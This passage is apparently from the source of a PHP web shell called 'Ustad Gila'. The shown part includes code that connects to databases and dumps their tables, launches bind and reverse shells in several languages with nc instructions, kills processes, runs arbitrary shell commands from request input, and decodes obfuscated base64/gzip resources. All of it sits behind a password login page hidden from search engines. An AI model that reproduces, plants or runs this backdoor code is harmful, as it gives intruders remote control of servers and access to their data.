  1844.                                     $s_result .= "<th>".@hss(sql_field_name($s_sqltype,$s_hasil,$s_i))."</th>";
  1845.                                 $s_result .= "</tr>";
  1846.                                 while($s_rows=sql_fetch_data($s_sqltype,$s_hasil)){
  1847.                                     $s_result .= "<tr>";
  1848.                                     foreach($s_rows as $s_r){
  1849.                                         if(empty($s_r)) $s_r = " ";
  1850.                                         $s_result .= "<td>".@hss($s_r)."</td>";
  1851.                                     }
  1852.                                     $s_result .= "</tr>";
  1853.                                 }
  1854.                                 $s_result .= "</table>";
  1855.                             }
  1856.                             else{
  1857.                                 $s_result .= "<p style='padding:0;margin:6px 10px;font-weight:bold;'>".$s_query.";   
  1858.                                 <span class='gaya'>[</span> error <span class='gaya'>]</span></p>";
  1859.                             }
  1860.                         }
  1861.                     }
  1862.                 }
  1863.                 else{
  1864.                     if(($s_sqltype!='pdo') && ($s_sqltype!='odbc')){
  1865.                         if($s_sqltype=='mysql') $s_showdb = "SHOW DATABASES";
  1866.                         elseif($s_sqltype=='mssql') $s_showdb = "SELECT name FROM master..sysdatabases";
  1867.                         elseif($s_sqltype=='pgsql') $s_showdb = "SELECT schema_name FROM information_schema.schemata";
  1868.                         elseif($s_sqltype=='oracle') $s_showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME";
  1869.                         elseif($s_sqltype=='sqlite3' || $s_sqltype=='sqlite') $s_showdb = "SELECT \"".$s_sqlhost."\"";
  1870.                         else $s_showdb = "SHOW DATABASES";
  1871.  
  1872.                         $s_hasil = sql_query($s_sqltype,$s_showdb,$s_con);
  1873.  
  1874.                         if($s_hasil!=false) {
  1875.                             while($s_rows_arr=sql_fetch_data($s_sqltype,$s_hasil)){
  1876.                                 foreach($s_rows_arr as $s_rows){
  1877.                                     $s_result .= "<p class='notif' onclick=\"toggle('db_".$s_rows."')\">".$s_rows."</p>";
  1878.                                     $s_result .= "<div class='info' id='db_".$s_rows."'><table class='explore'>";
  1879.  
  1880.                                     if($s_sqltype=='mysql') $s_showtbl = "SHOW TABLES FROM ".$s_rows;
  1881.                                     elseif($s_sqltype=='mssql') $s_showtbl = "SELECT name FROM ".$s_rows."..sysobjects WHERE xtype = 'U'";
  1882.                                     elseif($s_sqltype=='pgsql') $s_showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='".$s_rows."'";
  1883.                                     elseif($s_sqltype=='oracle') $s_showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='".$s_rows."'";
  1884.                                     elseif($s_sqltype=='sqlite3' || $s_sqltype=='sqlite') $s_showtbl = "SELECT name FROM sqlite_master WHERE type='table'";
  1885.                                     else $s_showtbl = "";
  1886.  
  1887.                                     $s_hasil_t = sql_query($s_sqltype,$s_showtbl,$s_con);
  1888.                                     if($s_hasil_t!=false) {
  1889.                                         while($s_tables_arr=sql_fetch_data($s_sqltype,$s_hasil_t)){
  1890.                                             foreach($s_tables_arr as $s_tables){
  1891.                                                 if($s_sqltype=='mysql') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." LIMIT 0,100";
  1892.                                                 elseif($s_sqltype=='mssql') $s_dump_tbl = "SELECT TOP 100 * FROM ".$s_rows."..".$s_tables;
  1893.                                                 elseif($s_sqltype=='pgsql') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." LIMIT 100 OFFSET 0";
  1894.                                                 elseif($s_sqltype=='oracle') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." WHERE ROWNUM BETWEEN 0 AND 100;";
  1895.                                                 elseif($s_sqltype=='sqlite' || $s_sqltype=='sqlite3') $s_dump_tbl = "SELECT * FROM ".$s_tables." LIMIT 0,100";
  1896.                                                 else $s_dump_tbl = "";
  1897.  
  1898.                                                 $s_dump_tbl_link = $s_self."x=db&connect=&sqlhost=".$s_sqlhost."&sqlport=".$s_sqlport."&sqluser=".$s_sqluser."&sqlpass=".$s_sqlpass."&sqltype=".$s_sqltype."&sqlcode=".$s_dump_tbl;
  1899.  
  1900.                                                 $s_result .= "<tr><td ondblclick=\"return go('".addslashes($s_dump_tbl_link)."',event);\"><a href='".$s_dump_tbl_link."' onclick='return false;'>".$s_tables."</a></td></tr>";
  1901.                                             }
  1902.                                         }
  1903.                                     }
  1904.                                     $s_result .= "</table></div>";
  1905.                                 }
  1906.                             }
  1907.                         }
  1908.                     }
  1909.                 }
  1910.                 sql_close($s_sqltype,$s_con);
  1911.             }
  1912.             else{
  1913.                 $s_result .= "<p class='notif'>Unable to connect to database</p>";
  1914.                 $s_show_form = true;
  1915.             }
  1916.         }
  1917.  
  1918.         if($s_show_form){
  1919.             // sqltype : mysql, mssql, oracle, pgsql, sqlite, sqlite3, odbc, pdo
  1920.             $s_sqllist = array();
  1921.             if(function_exists("mysql_connect")) $s_sqllist["mysql"] = "connect to MySQL <span style=\"font-size:12px;color:#999;\">- using mysql_*</span>";
  1922.             if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $s_sqllist["mssql"] = "connect to MsSQL <span style=\"font-size:12px;color:#999;\">- using mssql_* or sqlsrv_*</span>";
  1923.             if(function_exists("pg_connect")) $s_sqllist["pgsql"] = "connect to PostgreSQL <span style=\"font-size:12px;color:#999;\">- using pg_*</span>";
  1924.             if(function_exists("oci_connect")) $s_sqllist["oracle"] = "connect to oracle <span style=\"font-size:12px;color:#999;\">- using oci_*</span>";
  1925.             if(function_exists("sqlite_open")) $s_sqllist["sqlite"] = "connect to SQLite <span style=\"font-size:12px;color:#999;\">- using sqlite_*</span>";
  1926.             if(class_exists("SQLite3")) $s_sqllist["sqlite3"] = "connect to SQLite3 <span style=\"font-size:12px;color:#999;\">- using class SQLite3</span>";
  1927.             if(function_exists("odbc_connect")) $s_sqllist["odbc"] = "connect via ODBC <span style=\"font-size:12px;color:#999;\">- using odbc_*</span>";
  1928.             if(class_exists("PDO")) $s_sqllist["pdo"] = "connect via PDO <span style=\"font-size:12px;color:#999;\">- using class PDO</span>";
  1929.  
  1930.             foreach($s_sqllist as $s_sqltype=>$s_sqltitle){
  1931.                 if($s_sqltype=="odbc" || $s_sqltype=="pdo"){
  1932.                     $s_result .= "<div class='mybox'><h2>".$s_sqltitle."</h2>
  1933.                     <form action='".$s_self."' method='post' />
  1934.                     <table class='myboxtbl'>
  1935.                     <tr><td style='width:170px;'>DSN / Connection String</td><td><input style='width:100%;' class='inputz' type='text' name='sqlhost' value='' /></td></tr>
  1936.                     <tr><td>Username</td><td><input style='width:100%;' class='inputz' type='text' name='sqluser' value='' /></td></tr>
  1937.                     <tr><td>Password</td><td><input style='width:100%;' class='inputz' type='password' name='sqlpass' value='' /></td></tr>
  1938.                     </table>
  1939.                     <input type='submit' name='connect' class='inputzbut' value='Connect !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
  1940.                     <input type='hidden' name='sqltype' value='".$s_sqltype."' />
  1941.                     <input type='hidden' name='x' value='db' />
  1942.                     </form>
  1943.                     </div>";
  1944.                 }
  1945.                 elseif($s_sqltype=="sqlite" || $s_sqltype=="sqlite3"){
  1946.                     $s_result .= "<div class='mybox'><h2>".$s_sqltitle."</h2>
  1947.                     <form action='".$s_self."' method='post' />
  1948.                     <table class='myboxtbl'>
  1949.                     <tr><td style='width:170px;'>DB File</td><td><input style='width:100%;' class='inputz' type='text' name='sqlhost' value='' /></td></tr>
  1950.                     </table>
  1951.                     <input type='submit' name='connect' class='inputzbut' value='Connect !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
  1952.                     <input type='hidden' name='sqltype' value='".$s_sqltype."' />
  1953.                     <input type='hidden' name='x' value='db' />
  1954.                     </form>
  1955.                     </div>";
  1956.                 }
  1957.                 else{
  1958.                     $s_result .= "<div class='mybox'><h2>".$s_sqltitle."</h2>
  1959.                     <form action='".$s_self."' method='post' />
  1960.                     <table class='myboxtbl'>
  1961.                     <tr><td style='width:170px;'>Host</td><td><input style='width:100%;' class='inputz' type='text' name='sqlhost' value='' /></td></tr>
  1962.                     <tr><td>Username</td><td><input style='width:100%;' class='inputz' type='text' name='sqluser' value='' /></td></tr>
  1963.                     <tr><td>Password</td><td><input style='width:100%;' class='inputz' type='password' name='sqlpass' value='' /></td></tr>
  1964.                     <tr><td>Port (optional)</td><td><input style='width:100%;' class='inputz' type='text' name='sqlport' value='' /></td></tr>
  1965.                     </table>
  1966.                     <input type='submit' name='connect' class='inputzbut' value='Connect !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
  1967.                     <input type='hidden' name='sqltype' value='".$s_sqltype."' />
  1968.                     <input type='hidden' name='x' value='db' />
  1969.                     </form>
  1970.                     </div>";
  1971.                 }
  1972.             }
  1973.  
  1974.         }
  1975.     } // bind and reverse shell
  1976.     elseif(isset($_REQUEST['x']) && ($_REQUEST['x']=='rs')){
  1977.         //$s_server_ip = gethostbyname($_SERVER["HTTP_HOST"]);
  1978.         //$s_my_ip = $_SERVER['REMOTE_ADDR'];
  1979.         $s_rshost = $s_server_ip;
  1980.  
  1981.         $s_rsport = "13123";
  1982.         // resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_c $s_rs_win
  1983.         $s_rspesana = "Press '  Ruqyah  ' button and run '  nc <i>server_ip</i> <i>port</i>  ' on your computer";
  1984.         $s_rspesanb = "Run '  nc -l -v -p <i>port</i>  ' on your computer and press '  Ruqyah  ' button";
  1985.  
  1986.         //bind_pl bind_py bind_rb bind_c bind_win bind_php back_pl back_py back_rb back_c back_win back_php
  1987.         // resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_c $s_rs_win $s_rs_php
  1988.         $s_rsbind = array();
  1989.         $s_rsback = array();
  1990.  
  1991.  
  1992.         $s_rsbind["bind_php"] = "Bind Shell <span style='font-size:12px;color:#999;'>- php</span>";
  1993.         $s_rsback["back_php"] = "Reverse Shell <span style='font-size:12px;color:#999;'>- php</span>";
  1994.  
  1995.         if($s_perl){
  1996.             $s_rsbind["bind_pl"] = "Bind Shell <span style='font-size:12px;color:#999;'>- perl</span>";
  1997.             $s_rsback["back_pl"] = "Reverse Shell <span style='font-size:12px;color:#999;'>- perl</span>";
  1998.         }
  1999.         if($s_python){
  2000.             $s_rsbind["bind_py"] = "Bind Shell <span style='font-size:12px;color:#999;'>- python</span>";
  2001.             $s_rsback["back_py"] = "Reverse Shell <span style='font-size:12px;color:#999;'>- python</span>";
  2002.         }
  2003.         if($s_ruby){
  2004.             $s_rsbind["bind_rb"] = "Bind Shell <span style='font-size:12px;color:#999;'>- ruby</span>";
  2005.             $s_rsback["back_rb"] = "Reverse Shell <span style='font-size:12px;color:#999;'>- ruby</span>";
  2006.         }
  2007.         if($s_win){
  2008.             $s_rsbind["bind_win"] = "Bind Shell <span style='font-size:12px;color:#999;'>- windows executable</span>";
  2009.             $s_rsback["back_win"] = "Reverse Shell <span style='font-size:12px;color:#999;'>- windows executable</span>";
  2010.         }
  2011.         else{
  2012.             $s_rsbind["bind_c"] = "Bind Shell <span style='font-size:12px;color:#999;'>- c</span>";
  2013.             $s_rsback["back_c"] = "Reverse Shell <span style='font-size:12px;color:#999;'>- c</span>";
  2014.         }
  2015.  
  2016.         $s_rslist = array_merge($s_rsbind,$s_rsback);
  2017.  
  2018.         if(!is_writable($s_cwd)) $s_result .= "<p class='notif'>Directory ".$s_cwd." is not writable, please change to a writable one</p>";
  2019.         $s_rs_err = "";
  2020.         foreach($s_rslist as $s_rstype=>$s_rstitle){
  2021.             $s_split = explode("_",$s_rstype);
  2022.             if($s_split[0]=="bind"){
  2023.                 $s_rspesan = $s_rspesana;
  2024.                 $s_rsdisabled = "disabled='disabled'";
  2025.                 $s_rstarget =   $s_server_ip;
  2026.                 $s_labelip = "Server IP";
  2027.             }
  2028.             elseif($s_split[0]=="back"){
  2029.                 $s_rspesan = $s_rspesanb;
  2030.                 $s_rsdisabled = "";
  2031.                 $s_rstarget =   $s_my_ip;
  2032.                 $s_labelip = "Target IP";
  2033.             }
  2034.             if(isset($_REQUEST[$s_rstype])){
  2035.                 if(isset($_REQUEST["rshost_".$s_rstype])) $s_rshost_ = ss($_REQUEST["rshost_".$s_rstype]);
  2036.                 if(isset($_REQUEST["rsport_".$s_rstype])) $s_rsport_ = ss($_REQUEST["rsport_".$s_rstype]);
  2037.  
  2038.                 if($s_split[0]=="bind") $s_rstarget_packed = $s_rsport_;
  2039.                 elseif($s_split[0]=="back") $s_rstarget_packed = $s_rsport_." ".$s_rshost_;
  2040.  
  2041.                 if($s_split[1]=="pl") $s_rscode = $s_rs_pl;
  2042.                 elseif($s_split[1]=="py") $s_rscode = $s_rs_py;
  2043.                 elseif($s_split[1]=="rb") $s_rscode = $s_rs_rb;
  2044.                 elseif($s_split[1]=="c") $s_rscode = $s_rs_c;
  2045.                 elseif($s_split[1]=="win") $s_rscode = $s_rs_win;
  2046.                 elseif($s_split[1]=="php") $s_rscode = $s_rs_php;;
  2047.                 $s_buff = rs($s_rstype,$s_rstarget_packed,$s_rscode);
  2048.                 if($s_buff!="") $s_rs_err = "<p class='notif'>".hss($s_buff)."</p>";
  2049.             }
  2050.             $s_result .= "<div class='mybox'><h2>".$s_rstitle."</h2>
  2051.             <form action='".$s_self."' method='post' />
  2052.             <table class='myboxtbl'>
  2053.             <tr><td style='width:100px;'>".$s_labelip."</td><td><input ".$s_rsdisabled." style='width:100%;' class='inputz' type='text' name='rshost_".$s_rstype."' value='".$s_rstarget."' /></td></tr>
  2054.             <tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='rsport_".$s_rstype."' value='".$s_rsport."' /></td></tr>
  2055.             </table>
  2056.             <input type='submit' name='".$s_rstype."' class='inputzbut' value='Ruqyah' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
  2057.               <span>".$s_rspesan."</span>
  2058.             <input type='hidden' name='x' value='rs' />
  2059.             </form>
  2060.             </div>";
  2061.         }
  2062.         $s_result = $s_rs_err.$s_result;
  2063.     } // task manager
  2064.     elseif(isset($_REQUEST['x']) && ($_REQUEST['x']=='ps')){
  2065.         $s_buff = "";
  2066.         // kill process specified by pid
  2067.         if(isset($_REQUEST['pid'])){
  2068.             $s_p = ss($_REQUEST['pid']);
  2069.             if(function_exists("posix_kill")) $s_buff = (posix_kill($s_p,'9'))? "Process with pid ".$s_p." has been successfully killed":"Unable to kill process with pid ".$s_p;
  2070.             else{
  2071.                 if(!$s_win) $s_buff = exe("kill -9 ".$s_p);
  2072.                 else $s_buff = exe("taskkill /F /PID ".$s_p);
  2073.             }
  2074.         }
  2075.  
  2076.         if(!$s_win) $s_h = "ps aux";
  2077.         else $s_h = "tasklist /V /FO csv";
  2078.         $s_wcount = 11;
  2079.         $s_wexplode = " ";
  2080.         if($s_win) $s_wexplode = "\",\"";
  2081.  
  2082.         $s_res = exe($s_h);
  2083.         if(trim($s_res)=='') $s_result = "<p class='notif'>Error getting process list</p>";
  2084.         else{
  2085.             if($s_buff!="") $s_result = "<p class='notif'>".$s_buff."</p>";
  2086.             $s_result .= "<table class='explore sortable'>";
  2087.             if(!$s_win) $s_res = preg_replace('#\ +#',' ',$s_res);
  2088.  
  2089.             $s_psarr = explode("\
  2090. ",$s_res);
  2091.             $s_fi = true;
  2092.             $s_tblcount = 0;
  2093.  
  2094.             $s_check = explode($s_wexplode,$s_psarr[0]);
  2095.             $s_wcount = count($s_check);
  2096.  
  2097.             foreach($s_psarr as $s_psa){
  2098.                 if(trim($s_psa)!=''){
  2099.                     if($s_fi){
  2100.                         $s_fi = false;
  2101.                         $s_psln = explode($s_wexplode,$s_psa,$s_wcount);
  2102.                         $s_result .= "<tr><th class='sorttable_nosort'>action</th>";
  2103.                         foreach($s_psln as $s_p) $s_result .= "<th>".trim(trim(strtolower($s_p)),"\"")."</th>";
  2104.                         $s_result .= "</tr>";
  2105.                     }
  2106.                     else{
  2107.                         $s_psln = explode($s_wexplode,$s_psa,$s_wcount);
  2108.                         $s_result .= "<tr>";
  2109.                         $s_tblcount = 0;
  2110.                         foreach($s_psln as $s_p){
  2111.                             if(trim($s_p)=="") $s_p = " ";
  2112.                             if($s_tblcount == 0){
  2113.                                 $s_result .= "<td style='text-align:center;'><a href='".$s_self."x=ps&pid=".trim(trim($s_psln[1]),"\"")."' onclick='return false;'>kill</a></td>
  2114.                                         <td style='text-align:center;'>".trim(trim($s_p),"\"")."</td>";
  2115.                                 $s_tblcount++;
  2116.                             }
  2117.                             else{
  2118.                                 $s_tblcount++;
  2119.                                 if($s_tblcount == count($s_psln)) $s_result .= "<td style='text-align:left;'>".trim(trim($s_p),"\"")."</td>";
  2120.                                 else $s_result .= "<td style='text-align:center;'>".trim(trim($s_p),"\"")."</td>";
  2121.                             }
  2122.                         }
  2123.                         $s_result .= "</tr>";
  2124.                     }
  2125.                 }
  2126.             }
  2127.             $s_result .= "</table>";
  2128.         }
  2129.     }
  2130.     else{
  2131.         if(isset($_REQUEST['cmd'])){
  2132.             $s_cmd = ss($_REQUEST['cmd']);
  2133.             if(strlen($s_cmd) > 0){
  2134.                 if(preg_match('#^cd(\ )+(.*)$s_#',$s_cmd,$s_r)){
  2135.                     $s_nd = trim($s_r[2]);
  2136.                     if(is_dir($s_nd)){
  2137.                         chdir($s_nd);
  2138.                         $s_cwd = cp(getcwd());
  2139.                         $s_result .= showdir($s_cwd);
  2140.                     }
  2141.                     elseif(is_dir($s_cwd.$s_nd)){
  2142.                         chdir($s_cwd.$s_nd);
  2143.                         $s_cwd = cp(getcwd());
  2144.                         $s_result .= showdir($s_cwd);
  2145.                     }
  2146.                     else $s_result .= "<p class='notif'>".$s_nd." is not a directory"."</p>";
  2147.                 }
  2148.                 else{
  2149.                     $s_r = hss(exe($s_cmd));
  2150.                     if($s_r != '') $s_result .= "<pre>".$s_r."</pre>";
  2151.                     else $s_result .= showdir($s_cwd);
  2152.                 }
  2153.             }
  2154.             else $s_result .= showdir($s_cwd);
  2155.         }
  2156.         else{
  2157.             $s_result .= showdir($s_cwd);
  2158.         }
  2159.     }
  2160.  
  2161.     // print useful info
  2162.     $s_info  = "<table class='headtbl'><tr><td>".$s_system."</td></tr>";
  2163.     $s_info .= "<tr><td>".$s_software."</td></tr>";
  2164.     $s_info .= "<tr><td>server ip : ".$s_server_ip."<span class='gaya'> | </span>your   ip : ".$s_my_ip;
  2165.     $s_info .= "<span class='gaya'> | </span> Time @ Server : ".@date("d M Y H:i:s",time());
  2166.     $s_info .= "
  2167.         </td></tr>
  2168.         <tr><td style='text-align:left;'>
  2169.             <table class='headtbls'><tr>
  2170.             <td>".trim($s_letters)."</td>
  2171.             <td>
  2172.             <span id='chpwd'>
  2173.              <a href=\"javascript:tukar('chpwd','chpwdform')\">
  2174.             <img height='16px' width='16px' src='".$s_favicon."' alt='Change' style='vertical-align:middle;margin:6px 0;border:0;' />
  2175.               </a>".swd($s_cwd)."</span>
  2176.             <form action='".$s_self."' method='post' style='margin:0;padding:0;'>
  2177.             <span class='sembunyi' id='chpwdform'>
  2178.              <a href=\"javascript:tukar('chpwdform','chpwd');\">
  2179.             <img height='16px' width='16px' src='".$s_favicon."' alt='Change' style='vertical-align:middle;margin:6px 0;border:0;' />
  2180.             </a>  
  2181.             <input type='hidden' name='cd' class='inputz' style='width:300px;' value='".cp($s_cwd)."' />
  2182.             <input type='text' name='view' class='inputz' style='width:300px;' value='".$s_cwd."' />
  2183.             <input class='inputzbut' type='submit' name='submit' value='view file / folder' />
  2184.             </form>
  2185.             </span>
  2186.             </td></tr>
  2187.             </table>
  2188.         </td></tr>
  2189.         </table>";
  2190.  
  2191.  
  2192. }
  2193. ?><!DOCTYPE html>
  2194. <html>
  2195. <head>
  2196. <title><?php echo $s_title; ?></title>
  2197. <meta name='robots' content='noindex, nofollow, noarchive'>
  2198. <link rel='SHORTCUT ICON' href='<?php echo $s_favicon; ?>'>
  2199. <link href='http://fonts.googleapis.com/css?family=Ubuntu+Mono:400,700' rel='stylesheet' type='text/css'>
  2200. <style type='text/css'>
  2201. <?php
  2202.     $s_css = gzinflate(base64_decode($s_style));
  2203.     $s_css = str_replace('fgcolor',$s_color,$s_css);
  2204.     echo $s_css;
  2205. ?>.css-label{background-image:url(<?php echo $s_checkbox_img; ?>);}
  2206. </style>
  2207. </head>
  2208. <body>
  2209. <table id='main'><tr><td>
  2210. <?php if($s_auth){?>
  2211.     <div><span style='float:right;'><a href='<?php echo $s_self; ?>x=logout' onclick='return false;'>log out</a></span><table id='header'><tr><td style='width:80px;'><table><tr><td><h1><a href='<?php echo $s_self."cd=".cp(dirname(realpath($_SERVER['SCRIPT_FILENAME']))); ?>' onclick='return false;'>Ustad Gila</a></h1></td></tr><tr><td style='text-align:right;'><div class='ver'><?php echo $s_ver; ?></div></td></tr></table></td>
  2212.     <td><div class='headinfo'><?php echo $s_info; ?></div></td></tr></table>
  2213.     </div>
  2214.     <div style='clear:both;'></div>
  2215.     <form method='post' name='g'></form>
  2216.     <div id='menu'>
  2217.         <table style='width:100%;'><tr>
  2218.         <td><a href='<?php echo $s_self; ?>' title='Explorer' onclick='return false;'><div class='menumi'>xpl</div></a></td>
  2219.         <td><a href='<?php echo $s_self; ?>x=ps' title='Display process status' onclick='return false;'><div class='menumi'>ps</div></a></td>
  2220.         <td><a href='<?php echo $s_self; ?>x=eval' title='Execute code' onclick='return false;'><div class='menumi'>eval</div></a></td>
  2221.         <td><a href='<?php echo $s_self; ?>x=info' title='Information about server' onclick='return false;'><div class='menumi'>info</div></a></td>
  2222.         <td><a href='<?php echo $s_self; ?>x=db' title='Connect to database' onclick='return false;'><div class='menumi'>db</div></a></td>
  2223.         <td><a href='<?php echo $s_self; ?>x=rs' title='Remote Shell' onclick='return false;'><div class='menumi'>rs</div></a></td>
  2224.         <td style='width:100%;padding:0 0 0 6px;'>
  2225.         <form action='<?php echo $s_self; ?>' method='post'><span class='prompt'><?php echo $s_prompt; ?></span>
  2226.         <input id='cmd' onclick="clickcmd();" class='inputz' type='text' name='cmd' style='width:70%;' value='<?php
  2227. if(isset($_REQUEST['cmd'])) echo "";
  2228. else echo "- shell command -";
  2229. ?>' />
  2230.         <noscript><input class='inputzbut' type='submit' value='Ruqyah' name='submitcmd' style='width:80px;' /></noscript>
  2231.         </form>
  2232.         </td>
  2233.         </tr>
  2234.         </table>
  2235.     </div>
  2236.     <br><br><br><font face=" Ubuntu Mono" color="#01f90c"><i><center>???????? ????? ?????????? ????????????<br>  Then which of the Blessings of your Lord will you both deny? </center> </i></font><br><br><br>
  2237.     <div id='content' id='box_shell'>
  2238.         <div id='result'><?php echo $s_result; ?></div>
  2239.     </div><?php }
  2240. else{ ?>
  2241.     <div style='width:100%;text-align:center;'>
  2242.  
  2243.     <form action='<?php echo $s_self; ?>' method='post'>
  2244.     <img src='<?php echo $s_favicon; ?>' style='margin:2px;vertical-align:middle;' />
  2245.     <?php echo $s_name; ?> <span class='gaya'><?php echo $s_ver; ?></span><input id='login' class='inputz' type='password' name='login' style='width:120px;' value='' />
  2246.     <input class='inputzbut' type='submit' value='Ruqyah' name='submitlogin' style='width:80px;' />
  2247.     </form>
  2248.     </div>
  2249. <?php } ?>
  2250. </td></tr></table>
  2251. <p class='footer' ><font color='#01f90c' >Palestinian Mojahidien © <?php echo @date("Y",time())." ".$s_name; ?></font></p>
  2252. <script type='text/javascript'><?php echo gzinflate(base64_decode($s_sortable_js)); ?></script>
  2253. <script type='text/javascript'>
  2254. var d = document;
  2255. var hexstatus = false;
  2256. window.onload=function(){
  2257.     <?php if(isset($_REQUEST['cmd'])) echo "if(d.getElementById('cmd')) d.getElementById('cmd').focus();"; ?>
  2258.     <?php if(isset($_REQUEST['evalcode'])) echo "if(d.getElementById('evalcode')) d.getElementById('evalcode').focus();"; ?>
  2259.     <?php if(isset($_REQUEST['sqlcode'])) echo "if(d.getElementById('sqlcode')) d.getElementById('sqlcode').focus();"; ?>
  2260.     <?php if(isset($_REQUEST['login'])) echo "if(d.getElementById('login')) d.getElementById('login').focus();"; ?>
  2261.  
  2262.     var textareas = d.getElementsByTagName('textarea');
  2263.     var count = textareas.length;
  2264.     for(i=0;i<count;i++){
  2265.         textareas[i].onkeydown = function(e){
  2266.             if(e.keyCode==9){
  2267.                 e.preventDefault();
  2268.                 var s = this.selectionStart;
  2269.                 this.value = this.value.substring(0,this.selectionStart) + "\t" + this.value.substring(this.selectionEnd);
  2270.                 this.selectionEnd = s+1;
  2271.             }
  2272.             else if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
  2273.                 this.form.submit();
  2274.             }
  2275.         }
  2276.     }
  2277.     listen();
  2278. }
  2279. function listen(){
  2280.     x = d.getElementsByTagName("a");
  2281.     for(i=0;i<x.length;i++){
  2282.         if(x[i].addEventListener) x[i].addEventListener ("mousedown", function(event){return go(this.href,event);},false);
  2283.         else x[i].attachEvent ("onmousedown", function(event){return go(this.href,event);});
  2284.     }
  2285. }
  2286. function go(t,evt){
  2287.     if(evt.which === 3 || evt.button === 2) return false;
  2288.  
  2289.     ts = t.split('?');
  2290.     if(ts.length == 2){
  2291.         var a = ts[0];
  2292.         var v = ts[1];
  2293.         var vs = v.split('&');
  2294.         var g = d.forms['g'];
  2295.  
  2296.         if(a=='') a='?';
  2297.         g.action = a;
  2298.         for(var i=0;i<vs.length;i++){
  2299.             var vss = vs[i].split('=');
  2300.             if(vss.length == 2){
  2301.                 addinput(g,vss[0],vss[1]);
  2302.             }
  2303.         }
  2304.         g.submit();
  2305.     }
  2306.     else window.location = t;
  2307.     return false;
  2308. }
  2309. function tukar(l,b){
  2310.     if(d.getElementById(l)) d.getElementById(l).style.display = 'none';
  2311.     if(d.getElementById(b)) d.getElementById(b).style.display = 'block';
  2312.     if(d.getElementById(l + '_')) d.getElementById(l + '_').focus();
  2313. }
  2314. function toggle(b){
  2315.     if(d.getElementById(b)){
  2316.         if(d.getElementById(b).style.display == 'block') d.getElementById(b).style.display = 'none';
  2317.         else d.getElementById(b).style.display = 'block'
  2318.     }
  2319. }
  2320. function addinput(f,k,v){
  2321.     var i = d.createElement('input');
  2322.     i.type = 'hidden';
  2323.     i.name = k;
  2324.     i.value = v;
  2325.     f.appendChild(i);
  2326. }
  2327. function clickcmd(){
  2328.     var buff = d.getElementById('cmd');
  2329.     if(buff.value == '- shell command -') buff.value = '';
  2330. }
  2331. function download(what){
  2332.     what.form.submit();what.selectedIndex=0;
  2333. }
  2334. function hexfix(t,ev){
  2335.     var r = d.getElementById('hex_'+t);
  2336.     var q = d.getElementById('dump_'+t);
  2337.     var curpos = getcurpos(r);
  2338.  
  2339.     if(ev.keyCode==13 || ev.keyCode==46 || ev.keyCode==8 || ev.keyCode==32) return false;
  2340.     //down
  2341.     if(ev.keyCode==40){
  2342.         var s = d.getElementById('hex_'+(parseInt(t)+1));
  2343.         if(s){clearpos();s.focus();setcurpos(s,curpos,curpos);}
  2344.         return false;
  2345.     }//up
  2346.     if(ev.keyCode==38){
  2347.         var s = d.getElementById('hex_'+(parseInt(t)-1));
  2348.         if(s){clearpos();s.focus();setcurpos(s,curpos,curpos);}
  2349.         return false;
  2350.     }
  2351. }
  2352. function hexupdate(t,ev){
  2353.     var r = d.getElementById('hex_'+t);
  2354.     var s = d.getElementById('dump_'+t);
  2355.     var k = String.fromCharCode(ev.keyCode);
  2356.     var a = '0123456789ABCDEF';
  2357.     var hexs = r.value;
  2358.     var hex = hexs.replace(/\s+/ig,'');
  2359.     var curpos = getcurpos(r);
  2360.  
  2361.     clearpos();
  2362.     if(curpos%3!=2){
  2363.         if(a.indexOf(k)>=0 && curpos<hexs.length){
  2364.             chr = hexs.substr(curpos,1);
  2365.             before = (curpos>=1)?  hexs.substr(0,curpos):'';
  2366.             after = (curpos<hexs.length)? hexs.substr(curpos+1):'';
  2367.             r.value = before + k + after;
  2368.             setcurpos(r,curpos+1,curpos+1);
  2369.         }
  2370.     }
  2371.     if(r && s){
  2372.         var str = '';
  2373.         hexs = r.value;
  2374.         hex = hexs.replace(/\s+/ig,'');
  2375.         for(var i=0;i<hex.length;i+=2) str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
  2376.  
  2377.         str = str.replace(/[^\x21-\x7E]/ig,'.');
  2378.         str = str.replace(/</ig,'.')
  2379.         str = str.replace(/>/ig,'.')
  2380.  
  2381.         dmppos = Math.floor(curpos/3);
  2382.         chr = str.substr(dmppos,1);
  2383.         before = (dmppos>=1)? str.substr(0,dmppos):'';
  2384.         after = (dmppos<str.length)? str.substr(dmppos+1):'';
  2385.         finalstr = before + "<span class='gaya' style='background:#000;font-weight:bold;border-bottom:1px solid #fff;border-top:1px solid #fff;'>" + chr + "</span>" + after;
  2386.         s.innerHTML = finalstr;
  2387.     }
  2388. }
  2389. function submithex(){
  2390.     if(!hexstatus){
  2391.         hexstatus=true;
  2392.         var hexstr = '';
  2393.         var counter = d.getElementById('counter').value;
  2394.         for(var i=0;i<counter;i++){
  2395.             var hex = d.getElementById('hex_'+i);
  2396.             hexstr+=hex.value;
  2397.             hex.remove();
  2398.         }
  2399.         hexstr = hexstr.replace(/\s+/g,'');
  2400.         var hexestxtarea = d.getElementById('hexestxtarea');
  2401.         hexestxtarea.innerHTML = hexstr;
  2402.         hexestxtarea.form.submit();
  2403.     }
  2404. }
  2405. function evalselect(e){
  2406.     var a = d.getElementById('additionaloption');
  2407.     var b = d.getElementById('gccoption');
  2408.     if(a){
  2409.         if(e.value=='php') a.className='sembunyi';
  2410.         else a.className='';
  2411.         if(b) gccoption.value ='';
  2412.     }
  2413. }
  2414. function getcurpos(c){
  2415.     var p = 0;
  2416.     if(d.selection){
  2417.         c.focus ();
  2418.         var Sel = d.selection.createRange();
  2419.         Sel.moveStart ('character', c.value.length);
  2420.         p = Sel.text.length;
  2421.     }
